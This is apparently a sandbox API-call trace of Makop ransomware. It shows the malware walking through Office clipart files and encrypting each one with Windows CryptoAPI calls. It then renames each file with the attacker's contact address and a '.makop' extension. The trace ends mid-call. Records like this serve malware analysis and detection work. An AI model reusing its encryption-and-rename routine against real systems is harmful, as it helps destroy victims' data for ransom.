[0139.410] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0139.414] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.414] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.414] GetProcessHeap () returned 0x48a0000 [0139.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.415] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.415] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.415] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.415] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.415] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.416] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.416] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.416] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7d14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7d14, lpOverlapped=0x0) returned 1 [0139.418] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d20, dwBufLen=0x7d20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d20) returned 1 [0139.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.418] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7d20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7d20, lpOverlapped=0x0) returned 1 [0139.419] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.419] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.419] SetEndOfFile (hFile=0xf0) returned 1 [0139.426] GetProcessHeap () returned 0x48a0000 [0139.426] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.426] GetProcessHeap () returned 0x48a0000 [0139.426] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.426] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.428] CloseHandle (hObject=0xf0) returned 1 [0139.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1 [0139.428] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 63 [0139.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.429] GetProcessHeap () returned 0x48a0000 [0139.429] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.430] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.430] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.430] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.434] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.434] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.434] GetProcessHeap () returned 0x48a0000 [0139.434] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.434] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.434] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.434] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.434] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.435] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.435] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.435] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.435] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.436] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x64c, lpOverlapped=0x0) returned 1 [0139.436] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x650, dwBufLen=0x650 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x650) returned 1 [0139.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.436] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x650, lpOverlapped=0x0) returned 1 [0139.436] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.436] SetEndOfFile (hFile=0xf0) returned 1 [0139.443] GetProcessHeap () returned 0x48a0000 [0139.443] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.443] GetProcessHeap () returned 0x48a0000 [0139.443] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.443] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.446] CloseHandle (hObject=0xf0) returned 1 [0139.446] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1 [0139.446] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 63 [0139.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.448] GetProcessHeap () returned 0x48a0000 [0139.448] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.449] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.453] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.453] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.453] GetProcessHeap () returned 0x48a0000 [0139.453] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.453] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.453] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.454] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.454] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.455] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7658, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7658, lpOverlapped=0x0) returned 1 [0139.457] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7660, dwBufLen=0x7660 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7660) returned 1 [0139.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.458] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7660, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7660, lpOverlapped=0x0) returned 1 [0139.458] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.458] SetEndOfFile (hFile=0xf0) returned 1 [0139.465] GetProcessHeap () returned 0x48a0000 [0139.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.465] GetProcessHeap () returned 0x48a0000 [0139.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.465] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.467] CloseHandle (hObject=0xf0) returned 1 [0139.467] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1 [0139.468] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 63 [0139.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.469] GetProcessHeap () returned 0x48a0000 [0139.469] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.469] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.474] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.474] GetProcessHeap () returned 0x48a0000 [0139.474] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.474] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.474] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.474] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.475] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.475] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.476] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23f8, lpOverlapped=0x0) returned 1 [0139.478] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2400, dwBufLen=0x2400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2400) returned 1 [0139.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.478] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2400, lpOverlapped=0x0) returned 1 [0139.478] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.479] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.479] SetEndOfFile (hFile=0xf0) returned 1 [0139.485] GetProcessHeap () returned 0x48a0000 [0139.485] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.485] GetProcessHeap () returned 0x48a0000 [0139.485] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.485] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.487] CloseHandle (hObject=0xf0) returned 1 [0139.487] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1 [0139.487] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF") returned 63 [0139.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 